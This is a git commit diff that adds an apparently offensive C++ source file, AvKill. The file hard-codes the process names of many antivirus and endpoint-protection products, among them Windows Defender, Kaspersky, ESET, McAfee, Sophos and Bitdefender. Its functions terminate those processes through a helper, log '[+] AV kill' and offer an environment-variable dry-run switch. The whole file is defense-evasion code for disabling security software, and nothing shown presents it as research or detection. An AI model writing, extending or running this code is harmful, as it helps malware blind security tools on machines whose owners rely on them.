Init commit

2026-11-03 20:45:39 -08:00
commit 26642f28a2
57 changed files with 15683 additions and 0 deletions
@@ -0,0 +1,74 @@
+#include "Common.h"
+#include "AvKill.h"
+#include "KillSafety.h"
+#include "Logger.h"
+
+#include <string>
+#include <vector>
+
+static const wchar_t* kAvImages[] =
+{
+    L"MsMpEng.exe",
+    L"NisSrv.exe",
+    L"MpCmdRun.exe",
+    L"avast.exe",
+    L"AvastUI.exe",
+    L"AvastSvc.exe",
+    L"avguard.exe",
+    L"avgnt.exe",
+    L"AvgSvc.exe",
+    L"avp.exe",
+    L"klnagent.exe",
+    L"klheads.exe",
+    L"kxetray.exe",
+    L"ekrn.exe",
+    L"ESETSvc.exe",
+    L"mcshield.exe",
+    L"mfemms.exe",
+    L"sophosclean.exe",
+    L"SAVService.exe",
+    L"ccSvcHst.exe",
+    L"smc.exe",
+    L"bdagent.exe",
+    L"vsserv.exe",
+};
+
+static std::vector<std::wstring> AvImageList()
+{
+    std::vector<std::wstring> v;
+
+    for (const wchar_t* n : kAvImages)
+        v.emplace_back(n);
+
+    return v;
+}
+
+bool KillAVProcesses()
+{
+    KillReport report;
+
+    // Env switch lets you watch the decision path without terminating anything.
+    wchar_t dry[8]{};
+    DWORD n = GetEnvironmentVariableW(L"ARDRV_KILL_DRYRUN", dry, _countof(dry));
+    const bool dryRun = n > 0 && (dry[0] == L'1' || dry[0] == L'y' || dry[0] == L'Y');
+
+    KillProcessesSafe(AvImageList(), dryRun, 16, report, true);
+
+    Log(L"[+] AV kill: %s", report.Format().c_str());
+
+    wprintf(L"[killav] %s\n", report.Format().c_str());
+    return true;
+}
+
+bool KillAVProcessesEx(bool dryRun, std::wstring& summary)
+{
+    KillReport report;
+
+    KillProcessesSafe(AvImageList(), dryRun, 16, report, true);
+
+    summary = report.Format();
+
+    Log(L"[+] AV kill: %s", summary.c_str());
+    return report.killed > 0;
+}
+